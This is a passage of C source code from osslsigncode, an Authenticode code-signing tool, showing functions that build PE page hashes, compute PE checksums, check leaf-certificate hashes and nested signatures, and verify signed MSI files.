NID_sha1) ? SPC_PE_IMAGE_PAGE_HASHES_V1 : SPC_PE_IMAGE_PAGE_HASHES_V2, 1);\n\taval->value = ASN1_TYPE_new();\n\taval->value->type = V_ASN1_SET;\n\taval->value->value.set = ASN1_STRING_new();\n\tASN1_STRING_set(aval->value->value.set, p, l);\n\tOPENSSL_free(p);\n\n\tSTACK_OF(SpcAttributeTypeAndOptionalValue) *aset = sk_SpcAttributeTypeAndOptionalValue_new_null();\n\tsk_SpcAttributeTypeAndOptionalValue_push(aset, aval);\n\tl = i2d_SpcAttributeTypeAndOptionalValue(aset, NULL, i2d_SpcAttributeTypeAndOptionalValue,\n\t\t\t\t\t\t\t\t\t\t\t V_ASN1_SET, V_ASN1_UNIVERSAL, IS_SET);\n\ttmp = p = OPENSSL_malloc(l);\n\tl = i2d_SpcAttributeTypeAndOptionalValue(aset, &tmp, i2d_SpcAttributeTypeAndOptionalValue,\n\t\t\t\t\t\t\t\t\t\t\t V_ASN1_SET, V_ASN1_UNIVERSAL, IS_SET);\n\tsk_SpcAttributeTypeAndOptionalValue_free(aset);\n\tSpcAttributeTypeAndOptionalValue_free(aval);\n\n\tSpcSerializedObject *so = SpcSerializedObject_new();\n\tM_ASN1_OCTET_STRING_set(so->classId, classid_page_hash, sizeof(classid_page_hash));\n\tM_ASN1_OCTET_STRING_set(so->serializedData, p, l);\n\tOPENSSL_free(p);\n\n\tSpcLink *link = SpcLink_new();\n\tlink->type = 1;\n\tlink->value.moniker = so;\n\treturn link;\n}\n\nstatic void get_indirect_data_blob(u_char **blob, int *len, const EVP_MD *md, file_type_t type,\n\t\t\t\t\t\t\t\t int pagehash, char *indata, unsigned int peheader, int pe32plus,\n\t\t\t\t\t\t\t\t unsigned int sigpos)\n{\n\tstatic const unsigned char msistr[] = {\n\t\t0xf1, 0x10, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46\n\t};\n\n\tu_char *p;\n\tint hashlen, l;\n\tvoid *hash;\n\tASN1_OBJECT *dtype;\n\tSpcIndirectDataContent *idc = SpcIndirectDataContent_new();\n\tidc->data->value = ASN1_TYPE_new();\n\tidc->data->value->type = V_ASN1_SEQUENCE;\n\tidc->data->value->value.sequence = ASN1_STRING_new();\n\tif (type == FILE_TYPE_CAB) {\n\t\tSpcLink *link = get_obsolete_link();\n\t\tl = i2d_SpcLink(link, NULL);\n\t\tp = OPENSSL_malloc(l);\n\t\ti2d_SpcLink(link, &p);\n\t\tp -= l;\n\t\tdtype = OBJ_txt2obj(SPC_CAB_DATA_OBJID, 1);\n\t\tSpcLink_free(link);\n\t} else if (type == FILE_TYPE_PE) {\n\t\tSpcPeImageData *pid = SpcPeImageData_new();\n\t\tASN1_BIT_STRING_set(pid->flags, (unsigned char*)\"0\", 0);\n\t\tif (pagehash) {\n\t\t\tint phtype = NID_sha1;\n\t\t\tif (EVP_MD_size(md) > EVP_MD_size(EVP_sha1()))\n\t\t\t\tphtype = NID_sha256;\n\t\t\tpid->file = get_page_hash_link(phtype, indata, peheader, pe32plus, sigpos);\n\t\t} else {\n\t\t\tpid->file = get_obsolete_link();\n\t\t}\n\t\tl = i2d_SpcPeImageData(pid, NULL);\n\t\tp = OPENSSL_malloc(l);\n\t\ti2d_SpcPeImageData(pid, &p);\n\t\tp -= l;\n\t\tdtype = OBJ_txt2obj(SPC_PE_IMAGE_DATA_OBJID, 1);\n\t\tSpcPeImageData_free(pid);\n\t} else if (type == FILE_TYPE_MSI) {\n\t\tSpcSipInfo *si = SpcSipInfo_new();\n\t\tASN1_INTEGER_set(si->a, 1);\n\t\tASN1_INTEGER_set(si->b, 0);\n\t\tASN1_INTEGER_set(si->c, 0);\n\t\tASN1_INTEGER_set(si->d, 0);\n\t\tASN1_INTEGER_set(si->e, 0);\n\t\tASN1_INTEGER_set(si->f, 0);\n\t\tM_ASN1_OCTET_STRING_set(si->string, msistr, sizeof(msistr));\n\t\tl = i2d_SpcSipInfo(si, NULL);\n\t\tp = OPENSSL_malloc(l);\n\t\ti2d_SpcSipInfo(si, &p);\n\t\tp -= l;\n\t\tdtype = OBJ_txt2obj(SPC_SIPINFO_OBJID, 1);\n\t\tSpcSipInfo_free(si);\n\t} else {\n\t\tfprintf(stderr, \"Unexpected file type: %d\\n\", type);\n\t\texit(1);\n\t}\n\n\tidc->data->type = dtype;\n\tidc->data->value->value.sequence->data = p;\n\tidc->data->value->value.sequence->length = l;\n\tidc->messageDigest->digestAlgorithm->algorithm = OBJ_nid2obj(EVP_MD_nid(md));\n\tidc->messageDigest->digestAlgorithm->parameters = ASN1_TYPE_new();\n\tidc->messageDigest->digestAlgorithm->parameters->type = V_ASN1_NULL;\n\n\thashlen = EVP_MD_size(md);\n\thash = OPENSSL_malloc(hashlen);\n\tmemset(hash, 0, hashlen);\n\tM_ASN1_OCTET_STRING_set(idc->messageDigest->digest, hash, hashlen);\n\tOPENSSL_free(hash);\n\n\t*len = i2d_SpcIndirectDataContent(idc, NULL);\n\t*blob = OPENSSL_malloc(*len);\n\tp = *blob;\n\ti2d_SpcIndirectDataContent(idc, &p);\n\tSpcIndirectDataContent_free(idc);\n}\n\nstatic unsigned int calc_pe_checksum(BIO *bio, unsigned int peheader)\n{\n\tunsigned int checkSum = 0;\n\tunsigned short val;\n\tunsigned int size = 0;\n\tunsigned short *buf;\n\tint nread;\n\n\t/* recalc checksum. */\n\tbuf = (unsigned short*)malloc(sizeof(unsigned short)*32768);\n\n\t(void)BIO_seek(bio, 0);\n\twhile ((nread = BIO_read(bio, buf, sizeof(unsigned short)*32768)) > 0) {\n\t\tint i;\n\t\tfor (i = 0; i < nread / 2; i++) {\n\t\t\tval = buf[i];\n\t\t\tif (size == peheader + 88 || size == peheader + 90)\n\t\t\t\tval = 0;\n\t\t\tcheckSum += val;\n\t\t\tcheckSum = 0xffff & (checkSum + (checkSum >> 0x10));\n\t\t\tsize += 2;\n\t\t}\n\t}\n\n\tfree(buf);\n\n\tcheckSum = 0xffff & (checkSum + (checkSum >> 0x10));\n\tcheckSum += size;\n\n\treturn checkSum;\n}\n\nstatic void recalc_pe_checksum(BIO *bio, unsigned int peheader)\n{\n\tunsigned int checkSum = calc_pe_checksum(bio, peheader);\n\tchar buf[4];\n\n\t/* write back checksum. */\n\t(void)BIO_seek(bio, peheader + 88);\n\tPUT_UINT32_LE(checkSum, buf);\n\tBIO_write(bio, buf, 4);\n}\n\nstatic unsigned char nib2val(unsigned char c) {\n\tif (c >= '0' && c <= '9') {\n\t\treturn c - '0';\n\t} else if (c >= 'a' && c <= 'f') {\n\t\treturn c - 'a' + 10;\n\t} else if (c >= 'A' && c <= 'F') {\n\t\treturn c - 'A' + 10;\n\t}\n\n\tprintf(\"Illegal hex value: '%x'\\n\", c);\n\treturn 0;\n}\n\nstatic int verify_leaf_hash(X509 *leaf, const char *leafhash) {\n\tchar *lhdup = NULL;\n\tchar *orig = NULL;\n\tchar *mdid = NULL;\n\tchar *hash = NULL;\n\tint ret = 0;\n\n\tlhdup = strdup(leafhash);\n\torig = lhdup;\n\tmdid = lhdup;\n\twhile (lhdup != NULL && *lhdup != '\\0') {\n\t\tif (*lhdup == ':') {\n\t\t\t*lhdup = '\\0';\n\t\t\t++lhdup;\n\t\t\thash = lhdup;\n\t\t\tbreak;\n\t\t}\n\t\t++lhdup;\n\t}\n\tlhdup = orig;\n\n\tif (hash == NULL) {\n\t\tprintf(\"Unable to parse -require-leaf-hash parameter: %s\\n\\n\", orig);\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\tconst EVP_MD *md = EVP_get_digestbyname(mdid);\n\tif (md == NULL) {\n\t\tprintf(\"Unable to lookup digest by name '%s'\\n\", mdid);\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\tunsigned long sz = EVP_MD_size(md);\n\tunsigned long actual = strlen(hash);\n\tif (actual%2 != 0) {\n\t\tprintf(\"Hash length mismatch: length is uneven.\\n\");\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\tactual /= 2;\n\tif (actual != sz) {\n\t\tprintf(\"Hash length mismatch: '%s' digest must be %lu bytes long (got %lu bytes)\\n\", mdid, sz, actual);\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\tunsigned char mdbuf[EVP_MAX_MD_SIZE];\n\tunsigned char cmdbuf[EVP_MAX_MD_SIZE];\n\tint i = 0, j = 0;\n\twhile (i < sz*2) {\n\t\tunsigned char x;\n\t\tx = nib2val(hash[i+1]);\n\t\tx |= nib2val(hash[i]) << 4;\n\t\tmdbuf[j] = x;\n\t\ti += 2;\n\t\tj += 1;\n\t}\n\n\tunsigned long certlen = i2d_X509(leaf, NULL);\n\tunsigned char *certbuf = malloc(certlen);\n\tunsigned char *tmp = certbuf;\n\ti2d_X509(leaf, &tmp);\n\n\tEVP_MD_CTX *ctx = EVP_MD_CTX_create();\n\tEVP_DigestInit_ex(ctx, md, NULL);\n\tEVP_DigestUpdate(ctx, certbuf, certlen);\n\tEVP_DigestFinal_ex(ctx, cmdbuf, NULL);\n\tEVP_MD_CTX_destroy(ctx);\n\n\tfree(certbuf);\n\n\tif (memcmp(mdbuf, cmdbuf, EVP_MD_size(md))) {\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\nout:\n\tfree(lhdup);\n\treturn ret;\n}\n\n// pkcs7_get_nested_signature exctracts a nested signature from p7.\n// The caller is responsible for freeing the returned object.\n//\n// If has_sig is provided, it will be set to either 1 if there is a\n// SPC_NESTED_SIGNATURE attribute in p7 at all or 0 if not.\n// This allows has_sig to be used to distinguish two possible scenarios\n// when the functon returns NULL: if has_sig is 1, it means d2i_PKCS7\n// failed to decode the nested signature. However, if has_sig is 0, it\n// simply means the given p7 does not have a nested signature.\nstatic PKCS7 *pkcs7_get_nested_signature(PKCS7 *p7, int *has_sig) {\n\tPKCS7 *ret = NULL;\n\tPKCS7_SIGNER_INFO *si = sk_PKCS7_SIGNER_INFO_value(p7->d.sign->signer_info, 0);\n\tASN1_TYPE *nestedSignature = PKCS7_get_attribute(si, OBJ_txt2nid(SPC_NESTED_SIGNATURE_OBJID));\n\tif (nestedSignature) {\n\t\tASN1_STRING *astr = nestedSignature->value.sequence;\n\t\tconst unsigned char *p = astr->data;\n\t\tret = d2i_PKCS7(NULL, &p, astr->length);\n\t}\n\tif (has_sig)\n\t\t*has_sig = (nestedSignature != NULL);\n\treturn ret;\n}\n\n// pkcs7_set_nested_signature adds the p7nest signature to p7\n// as a nested signature (SPC_NESTED_SIGNATURE).\nstatic int pkcs7_set_nested_signature(PKCS7 *p7, PKCS7 *p7nest) {\n\tu_char *p = NULL;\n\tint len = 0;\n\n\tif (((len = i2d_PKCS7(p7nest, NULL)) <= 0) ||\n\t\t(p = OPENSSL_malloc(len)) == NULL)\n\t\treturn 0;\n\n\ti2d_PKCS7(p7nest, &p);\n\tp -= len;\n\tASN1_STRING *astr = ASN1_STRING_new();\n\tASN1_STRING_set(astr, p, len);\n\tOPENSSL_free(p);\n\n\tPKCS7_SIGNER_INFO *si = sk_PKCS7_SIGNER_INFO_value(p7->d.sign->signer_info, 0);\n\tif (PKCS7_add_attribute(si, OBJ_txt2nid(SPC_NESTED_SIGNATURE_OBJID), V_ASN1_SEQUENCE, astr) == 0)\n\t\treturn 0;\n\n\treturn 1;\n}\n\n#ifdef WITH_GSF\nstatic gint msi_base64_decode(gint x)\n{\n\tif (x < 10)\n\t\treturn x + '0';\n\tif (x < (10 + 26))\n\t\treturn x - 10 + 'A';\n\tif (x < (10 + 26 + 26))\n\t\treturn x - 10 - 26 + 'a';\n\tif (x == (10 + 26 + 26))\n\t\treturn '.';\n\treturn 1;\n}\n\nstatic void msi_decode(const guint8 *in, gchar *out)\n{\n\tguint count = 0;\n\tguint8 *q = (guint8 *)out;\n\n\t/* utf-8 encoding of 0x4840 */\n\tif (in[0] == 0xe4 && in[1] == 0xa1 && in[2] == 0x80)\n\t\tin += 3;\n\n\twhile (*in) {\n\t\tguint8 ch = *in;\n\t\tif ((ch == 0xe3 && in[1] >= 0xa0) || (ch == 0xe4 && in[1] < 0xa0)) {\n\t\t\t*q++ = msi_base64_decode(in[2] & 0x7f);\n\t\t\t*q++ = msi_base64_decode(in[1] ^ 0xa0);\n\t\t\tin += 3;\n\t\t\tcount += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch == 0xe4 && in[1] == 0xa0) {\n\t\t\t*q++ = msi_base64_decode(in[2] & 0x7f);\n\t\t\tin += 3;\n\t\t\tcount++;\n\t\t\tcontinue;\n\t\t}\n\t\t*q++ = *in++;\n\t\tif (ch >= 0xc1)\n\t\t\t*q++ = *in++;\n\t\tif (ch >= 0xe0)\n\t\t\t*q++ = *in++;\n\t\tif (ch >= 0xf0)\n\t\t\t*q++ = *in++;\n\t\tcount++;\n\t}\n\t*q = 0;\n}\n\n/*\n * Sorry if this code looks a bit silly, but that seems\n * to be the best solution so far...\n */\nstatic gint msi_cmp(gpointer a, gpointer b)\n{\n\tglong anc = 0, bnc = 0;\n\tgchar *pa = (gchar*)g_utf8_to_utf16(a, -1, NULL, &anc, NULL);\n\tgchar *pb = (gchar*)g_utf8_to_utf16(b, -1, NULL, &bnc, NULL);\n\tgint diff;\n\n\tdiff = memcmp(pa, pb, MIN(2*anc, 2*bnc));\n\t/* apparently the longer wins */\n\tif (diff == 0)\n\t\treturn 2*anc > 2*bnc ? 1 : -1;\n\tg_free(pa);\n\tg_free(pb);\n\n\treturn diff;\n}\n\n/*\n * msi_sorted_infile_children returns a sorted list of all\n * of the children of the given infile. The children are\n * sorted according to the msi_cmp.\n *\n * The returned list must be freed with g_slist_free.\n */\nstatic GSList *msi_sorted_infile_children(GsfInfile *infile)\n{\n\tGSList *sorted = NULL;\n\tgchar decoded[0x40];\n\tint i;\n\n\tfor (i = 0; i < gsf_infile_num_children(infile); i++) {\n\t\tGsfInput *child = gsf_infile_child_by_index(infile, i);\n\t\tconst guint8 *name = (const guint8*)gsf_input_name(child);\n\t\tmsi_decode(name, decoded);\n\n\t\tif (!g_strcmp0(decoded, \"\\05DigitalSignature\"))\n\t\t\tcontinue;\n\t\tif (!g_strcmp0(decoded, \"\\05MsiDigitalSignatureEx\"))\n\t\t\tcontinue;\n \n\t\tsorted = g_slist_insert_sorted(sorted, (gpointer)name, (GCompareFunc)msi_cmp);\n\t}\n\n\treturn sorted;\n}\n\n/*\n * msi_prehash_utf16_name converts an UTF-8 representation of\n * an MSI filename to its on-disk UTF-16 representation and\n * writes it to the hash BIO. It is used when calculating the\n * pre-hash used for MsiDigitalSignatureEx signatures in MSI files.\n */\nstatic gboolean msi_prehash_utf16_name(gchar *name, BIO *hash)\n{\n\tglong chars_written = 0;\n\n\tgchar *u16name = (gchar*)g_utf8_to_utf16(name, -1, NULL, &chars_written, NULL);\n\tif (u16name == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tBIO_write(hash, u16name, 2*chars_written);\n\n\tg_free(u16name);\n\n\treturn TRUE;\n}\n\n/*\n * msi_prehash calculates the pre-hash used for 'MsiDigitalSignatureEx'\n * signatures in MSI files. The pre-hash hashes only metadata (file names,\n * file sizes, creation times and modification times), whereas the basic\n * 'DigitalSignature' MSI signature only hashes file content.\n *\n * The hash is written to the hash BIO.\n */\nstatic gboolean msi_prehash(GsfInfile *infile, gchar *dirname, BIO *hash)\n{\n\tGSList *sorted = NULL;\n\tguint8 classid[16];\n\tguint8 zeroes[8];\n\n\tmemset(&zeroes, 0, sizeof(zeroes));\n\n\tgsf_infile_msole_get_class_id(GSF_INFILE_MSOLE(infile), classid);\n\n\tif (dirname != NULL) {\n\t\tif (!msi_prehash_utf16_name(dirname, hash))\n\t\t\treturn FALSE;\n\t}\n\n\tBIO_write(hash, classid, sizeof(classid));\n\tBIO_write(hash, zeroes, 4);\n\n\tif (dirname != NULL) {\n\t\t/*\n\t\t * Creation time and modification time for the root directory.\n\t\t * These are always zero. The ctime and mtime of the actual\n\t\t * file itself takes precedence.\n\t\t */ \n\t\tBIO_write(hash, zeroes, 8); // ctime as Windows FILETIME.\n\t\tBIO_write(hash, zeroes, 8); // mtime as Windows FILETIME.\n\t}\n\n\tsorted = msi_sorted_infile_children(infile);\n\n\tfor (; sorted; sorted = sorted->next) {\n\t\tgchar *name = (gchar*)sorted->data;\n\t\tGsfInput *child = gsf_infile_child_by_name(infile, name);\n\t\tif (child == NULL)\n\t\t\tcontinue;\n\n\t\tgboolean is_dir = GSF_IS_INFILE(child) && gsf_infile_num_children(GSF_INFILE(child)) > 0;\n\t\tif (is_dir) {\n\t\t\tif (!msi_prehash(GSF_INFILE(child), name, hash))\n\t\t\t\treturn FALSE;\n\t\t} else {\n\t\t\tif (!msi_prehash_utf16_name(name, hash))\n\t\t\t\treturn FALSE;\n\n\t\t\t/*\n\t\t\t * File size.\n\t\t\t */\n\t\t\tgsf_off_t size = gsf_input_remaining(child);\n\t\t\tguint32 sizebuf = GUINT32_TO_LE((guint32)size);\n\t\t\tBIO_write(hash, &sizebuf, sizeof(sizebuf));\n\n\t\t\t/*\n\t\t\t * Reserved - must be 0. Corresponds to\n\t\t\t * offset 0x7c..0x7f in the CDFv2 file.\n\t\t\t */\n\t\t\tBIO_write(hash, zeroes, 4);\n\n\t\t\t/*\n\t\t\t * Creation time and modification time\n\t\t\t * as Windows FILETIMEs. We keep them\n\t\t\t * zeroed, because libgsf doesn't seem\n\t\t\t * to support outputting them.\n\t\t\t */\n\t\t\tBIO_write(hash, zeroes, 8); // ctime as a Windows FILETIME\n\t\t\tBIO_write(hash, zeroes, 8); // mtime as a Windows FILETIME\n\t\t}\n\t}\n\n\tg_slist_free(sorted);\n\n\treturn TRUE;\n}\n\n/**\n * msi_handle_dir performs a direct copy of the input MSI file in infile to a new\n * output file in outfile. While copying, it also writes all file content to the\n * hash BIO in order to calculate a 'basic' hash that can be used for an MSI\n * 'DigitalSignature' hash.\n *\n * msi_handle_dir is hierarchy aware: if any subdirectories are found, they will be\n * visited, copied and hashed as well.\n */\nstatic gboolean msi_handle_dir(GsfInfile *infile, GsfOutfile *outole, BIO *hash)\n{\n\tguint8 classid[16];\n\tGSList *sorted = NULL;\n\n\tgsf_infile_msole_get_class_id(GSF_INFILE_MSOLE(infile), classid);\n\tif (outole != NULL)\n\t\tgsf_outfile_msole_set_class_id(GSF_OUTFILE_MSOLE(outole), classid);\n\n\tsorted = msi_sorted_infile_children(infile);\n\n\tfor (; sorted; sorted = sorted->next) {\n\t\tgchar *name = (gchar*)sorted->data;\n\t\tGsfInput *child = gsf_infile_child_by_name(infile, name);\n\t\tif (child == NULL)\n\t\t\tcontinue;\n\n\t\tgboolean is_dir = GSF_IS_INFILE(child) && gsf_infile_num_children(GSF_INFILE(child)) > 0;\n\t\tGsfOutput *outchild = NULL;\n\t\tif (outole != NULL)\n\t\t\toutchild = gsf_outfile_new_child(outole, name, is_dir);\n\t\tif (is_dir) {\n\t\t\tif (!msi_handle_dir(GSF_INFILE(child), GSF_OUTFILE(outchild), hash)) {\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t} else {\n\t\t\twhile (gsf_input_remaining(child) > 0) {\n\t\t\t\tgsf_off_t size = MIN(gsf_input_remaining(child), 4096);\n\t\t\t\tguint8 const *data = gsf_input_read(child, size, NULL);\n\t\t\t\tBIO_write(hash, data, size);\n\t\t\t\tif (outchild != NULL && !gsf_output_write(outchild, size, data)) {\n\t\t\t\t\treturn FALSE;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (outchild != NULL) {\n\t\t\tgsf_output_close(outchild);\n\t\t\tg_object_unref(outchild);\n\t\t}\n\t}\n\n\tBIO_write(hash, classid, sizeof(classid));\n\n\tg_slist_free(sorted);\n\n\treturn TRUE;\n}\n\n/*\n * msi_verify_pkcs7 is a helper function for msi_verify_file.\n * It exists to make it easier to implement verification of nested signatures.\n */\nstatic int msi_verify_pkcs7(PKCS7 *p7, GsfInfile *infile, unsigned char *exdata, unsigned int exlen, char *leafhash, int allownest) {\n\tint i = 0;\n\tint ret = 0;\n\tX509_STORE *store = NULL;\n\tint mdtype = -1;\n\tunsigned char mdbuf[EVP_MAX_MD_SIZE];\n\tunsigned char cmdbuf[EVP_MAX_MD_SIZE];\n#ifdef GSF_CAN_READ_MSI_METADATA\n\tunsigned char cexmdbuf[EVP_MAX_MD_SIZE];\n#endif\n\tunsigned char hexbuf[EVP_MAX_MD_SIZE*2+1];\n\tBIO *bio = NULL;\n\n\tASN1_OBJECT *indir_objid = OBJ_txt2obj(SPC_INDIRECT_DATA_OBJID, 1);\n\tif (p7 && PKCS7_type_is_signed(p7) && !OBJ_cmp(p7->d.sign->contents->type, indir_objid) && p7->d.sign->contents->d.other->type == V_ASN1_SEQUENCE) {\n\t\tASN1_STRING *astr = p7->d.sign->contents->d.other->value.sequence;\n\t\tconst unsigned char *p = astr->data;\n\t\tSpcIndirectDataContent *idc = d2i_SpcIndirectDataContent(NULL, &p, astr->length);\n\t\tif (idc) {\n\t\t\tif (idc->messageDigest && idc->messageDigest->digest && idc->messageDigest->digestAlgorithm) {\n\t\t\t\tmdtype = OBJ_obj2nid(idc->messageDigest->digestAlgorithm->algorithm);\n\t\t\t\tmemcpy(mdbuf, idc->messageDigest->digest->data, idc->messageDigest->digest->length);\n\t\t\t}\n\t\t\tSpcIndirectDataContent_free(idc);\n\t\t}\n\t\tASN1_OBJECT_free(indir_objid);\n\t}\n\n\tif (mdtype == -1) {\n\t\tprintf(\"Failed to extract current message digest\\n\\n\");\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\tif (p7 == NULL) {\n\t\tprintf(\"Failed to read PKCS7 signature from DigitalSignature section\\n\\n\");\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\tprintf(\"Message digest algorithm : %s\\n\", OBJ_nid2sn(mdtype));\n\n\tconst EVP_MD *md = EVP_get_digestbynid(mdtype);\n\tBIO *hash = BIO_new(BIO_f_md());\n\tBIO_set_md(hash, md);\n\tBIO_push(hash, BIO_new(BIO_s_null()));\n\n\tif (exdata) {\n\t\t/*\n\t\t * Until libgsf can read more MSI metadata, we can't\n\t\t * really verify them by plowing through the file.\n\t\t * Verifying files signed by osslsigncode itself works,\n\t\t * though!\n\t\t *\n\t\t * For now, the compromise is to use the hash given\n\t\t * by the file, which is equivalent to verifying a\n\t\t * non-MsiDigitalSignatureEx signature from a security\n\t\t * pespective, because we'll only be calculating the\n\t\t * file content hashes ourselves.\n\t\t */\n#ifdef GSF_CAN_READ_MSI_METADATA\n\t\tBIO *prehash = BIO_new(BIO_f_md());\n\t\tBIO_set_md(prehash, md);\n\t\tBIO_push(prehash, BIO_new(BIO_s_null()));\n\n\t\tif (!msi_prehash(infile, NULL, prehash)) {\n\t\t\tret = 1;\n\t\t\tgoto out;\n\t\t}\n\n\t\tBIO_gets(prehash, (char*)cexmdbuf, EVP_MAX_MD_SIZE);\n\t\tBIO_write(hash, (char*)cexmdbuf, EVP_MD_size(md));\n#else\n\t\tBIO_write(hash, (char *)exdata, EVP_MD_size(md));\n#endif\n\t}\n\n\tif (!msi_handle_dir(infile, NULL, hash)) {\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\tBIO_gets(hash, (char*)cmdbuf, EVP_MAX_MD_SIZE);\n\ttohex(cmdbuf, hexbuf, EVP_MD_size(md));\n\tint mdok = !memcmp(mdbuf, cmdbuf, EVP_MD_size(md));\n\tif (!mdok) ret = 1;\n\tprintf(\"Calculated DigitalSignature : %s\", hexbuf);\n\tif (mdok) {\n\t\tprintf(\"\\n\");\n\t} else {\n\t\ttohex(mdbuf, hexbuf, EVP_MD_size(md));\n\t\tprintf(\" MISMATCH!!! FILE HAS %s\\n\", hexbuf);\n\t}\n\n#ifdef GSF_CAN_READ_MSI_METADATA\n\tif (exdata) {\n\t\ttohex(cexmdbuf, hexbuf, EVP_MD_size(md));\n\t\tint exok = !memcmp(exdata, cexmdbuf, MIN(EVP_MD_size(md), exlen));\n\t\tif (!exok) ret = 1;\n\t\tprintf(\"Calculated MsiDigitalSignatureEx : %s\", hexbuf);\n\t\tif (exok) {\n\t\t\tprintf(\"\\n\");\n\t\t} else {\n\t\t\ttohex(exdata, hexbuf, EVP_MD_size(md));\n\t\t\tprintf(\" MISMATCH!!! FILE HAS %s\\n\", hexbuf);\n\t\t}\n\t}\n#endif\n\n\tprintf(\"\\n\");\n\n\tint seqhdrlen = asn1_simple_hdr_len(p7->d.sign->contents->d.other->value.sequence->data,\n\t\t\t\t\t\t\t\t\t\tp7->d.sign->contents->d.other->value.sequence->length);\n\tbio = BIO_new_mem_buf(p7->d.sign->contents->d.other->value.sequence->data + seqhdrlen,\n\t\t\t\t\t\t p7->d.sign->contents->d.other->value.sequence->length - seqhdrlen);\n\tstore = X509_STORE_new();\n\tint verok = PKCS7_verify(p7, p7->d.sign->cert, store, bio, NULL, PKCS7_NOVERIFY);\n\tBIO_free(bio);\n\t/* XXX: add more checks here (attributes, timestamp, etc) */\n\tprintf(\"Signature verification: %s\\n\\n\", verok ? \"ok\" : \"failed\");\n\tif (!verok) {\n\t\tERR_print_errors_fp(stdout);\n\t\tret = 1;\n\t}\n\n\tint leafok = 0;\n\tSTACK_OF(X509) *signers = PKCS7_get0_signers(p7, NULL, 0);\n\tprintf(\"Number of signers: %d\\n\", sk_X509_num(signers));\n\tfor (i=0; id.sign->cert));\n\tfor (i=0; id.sign->cert); i++) {\n\t\tX509 *cert = sk_X509_value(p7->d.sign->cert, i);\n\t\tchar *subject = X509_NAME_oneline(X509_get_subject_name(cert), NULL, 0);\n\t\tchar *issuer = X509_NAME_oneline(X509_get_issuer_name(cert), NULL, 0);\n\t\tprintf(\"\\tCert #%d:\\n\\t\\tSubject : %s\\n\\t\\tIssuer : %s\\n\", i, subject, issuer);\n\t\tOPENSSL_free(subject);\n\t\tOPENSSL_free(issuer);\n }\n\n\tprintf(\"\\n\");\n\n\tif (leafhash != NULL) {\n\t\tprintf(\"Leaf hash match: %s\\n\\n\", leafok ? \"ok\" : \"failed\");\n\t\tif (!leafok)\n\t\t\tret = 1;\n\t}\n\n\tif (allownest) {\n\t\tint has_sig = 0;\n\t\tPKCS7 *p7nest = pkcs7_get_nested_signature(p7, &has_sig);\n\t\tif (p7nest) {\n\t\t\tprintf(\"\\n\");\n\t\t\tint nest_ret = msi_verify_pkcs7(p7nest, infile, exdata, exlen, leafhash, 0);\n\t\t\tif (ret == 0)\n\t\t\t\tret = nest_ret;\n\t\t\tPKCS7_free(p7nest);\n\t\t} else if (!p7nest && has_sig) {\n\t\t\tprintf(\"\\nFailed to decode nested signature!\\n\");\n\t\t\tret = 1;\n\t\t} else\n\t\t\tprintf(\"\\n\");\n\t} else\n\t\tprintf(\"\\n\");\n\nout:\n\tif (store)\n\t\tX509_STORE_free(store);\n\n\treturn ret;\n}\n\n/*\n * msi_verify_file checks whether or not the signature of infile is valid.\n */\nstatic int msi_verify_file(GsfInfile *infile, char *leafhash) {\n\tGsfInput *sig = NULL;\n\tGsfInput *exsig = NULL;\n\tunsigned char *exdata = NULL;\n\tunsigned char *indata = NULL;\n\tgchar decoded[0x40];\n\tint i, ret = 0;\n\tPKCS7 *p7 = NULL;\n\n\tfor (i = 0; i < gsf_infile_num_children(infile); i++) {\n\t\tGsfInput *child = gsf_infile_child_by_index(infile, i);\n\t\tconst guint8 *name = (const guint8*)gsf_input_name(child);\n\t\tmsi_decode(name, decoded);\n\t\tif (!g_strcmp0(decoded, \"\\05DigitalSignature\"))\n\t\t\tsig = child;\n\t\tif (!g_strcmp0(decoded, \"\\05MsiDigitalSignatureEx\"))\n\t\t\texsig = child;\n\t}\n\tif (sig == NULL) {\n\t\tprintf(\"MSI file has no signature\\n\\n\");\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\tunsigned long inlen = (unsigned long) gsf_input_remaining(sig);\n\tindata = malloc(inlen);\n\tif (gsf_input_read(sig, inlen, indata) == NULL) {\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\tunsigned long exlen = 0;\n\tif (exsig != NULL) {\n\t\texlen = (unsigned long) gsf_input_remaining(exsig);\n\t\texdata = malloc(exlen);\n\t\tif (gsf_input_read(exsig, exlen, exdata) == NULL) {\n\t\t\tret = 1;\n\t\t\tgoto out;\n\t\t}\n\t}\n\n\tconst unsigned char *blob = (unsigned char *)indata;\n\tp7 = d2i_PKCS7(NULL, &blob, inlen);\n\n\tret = msi_verify_pkcs7(p7, infile, exdata, exlen, leafhash, 1);\n\nout:\n\tfree(indata);\n\tfree(exdata);\n\n\tif (p7)\n\t\tPKCS7_free(p7);\n\n\treturn ret;\n}\n\nstatic int msi_extract_dse(GsfInfile *infile, unsigned char **dsebuf, unsigned long *dselen, int *has_dse) {\n\tGsfInput *exsig = NULL;\n\tgchar decoded[0x40];\n\tu_char *buf = NULL;\n\tgsf_off_t size = 0;\n\tint i, ret = 0;\n\n\tfor (i = 0; i < gsf_infile_num_children(infile); i++) {\n\t\tGsfInput *child = gsf_infile_child_by_index(infile, i);\n\t\tconst guint8 *name = (const guint8*)gsf_input_name(child);\n\t\tmsi_decode(name, decoded);\n\t\tif (!g_strcmp0(decoded, \"\\05MsiDigitalSignatureEx\"))\n\t\t\texsig = child;\n\t}\n\tif (exsig == NULL) {\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\tif (has_dse != NULL) {\n\t\t*has_dse = 1;\n\t}\n\n\tsize = gsf_input_remaining(exsig);\n\n\tif (dselen != NULL) {\n\t\t*dselen = (unsigned long) size;\n\t}\n\n\tif (dsebuf != NULL) {\n\t\tbuf = malloc(size);\n\t\tif (gsf_input_read(exsig, size, buf) == NULL) {\n\t\t\tret = 